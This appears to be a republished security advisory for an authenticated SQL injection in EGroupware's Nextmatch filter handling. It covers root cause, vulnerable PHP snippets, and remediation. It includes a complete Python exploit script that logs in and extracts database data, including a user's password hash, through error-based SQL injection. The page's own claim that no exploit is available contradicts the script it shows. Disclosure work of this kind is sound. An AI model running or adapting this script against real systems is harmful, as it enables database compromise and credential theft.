Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-rvxj-7f72-mhrx

HighCVSS 8.7 / 10
Published Jan 28, 2026·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

Summary

Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing

A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the Nextmatch filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the WHERE clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the is_int() security check used by the application.

Details

Root Cause Analysis The vulnerability exists in how the database abstraction layer (Api\Db) and high-level storage classes (Api\Storage\Base, infolog_so) process the col_filter array used in "Nextmatch" widgets.

The application attempts to validate input using is_int($key) to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's json_decode automatically converts numeric string keys (e.g., "0") into native integers.

Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (is_int returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.

Vulnerable Code Locations

  1. File: sources/egroupware/api/src/Db.php (Approx. Line 1776) Method: column_data_implode
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. File: sources/egroupware/api/src/Storage/Base.php (Approx. Line 1134) Method: parse_search
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

The vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance (demo.egroupware.net).

Automated Exploit Script: The following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection.

import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\']([^"\']+)["\']', match)
        value_m = re.search(r'value=["\']([^"\']*)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

Proof of Verification on demo.egroupware.net:

The script was executed against ther public demo to confirm exploitability in a production-like environment (read-only). <img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" />

Impact: Attackers with low-privileged access can fully compromise the database. This allows for:

  • Confidentiality Loss: Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets).
  • Integrity Loss: Modifying or deleting arbitrary data within the application.
  • Availability Loss: Potential to drop tables or corrupt data.

Remediation

1. Input Validation (Whitelisting) Do not rely solely on is_int() for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict whitelist (allowlist) of allowed column names for filtering in Nextmatch widgets. If the key/column is not in the whitelist, reject the request.

2. Parameter Binding Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.

3. Strict Type Checking When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using === for strict comparison or filter_var) before being used in SQL generation logic.

Credits

Reported by Łukasz Rybak

Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.3

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.36%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard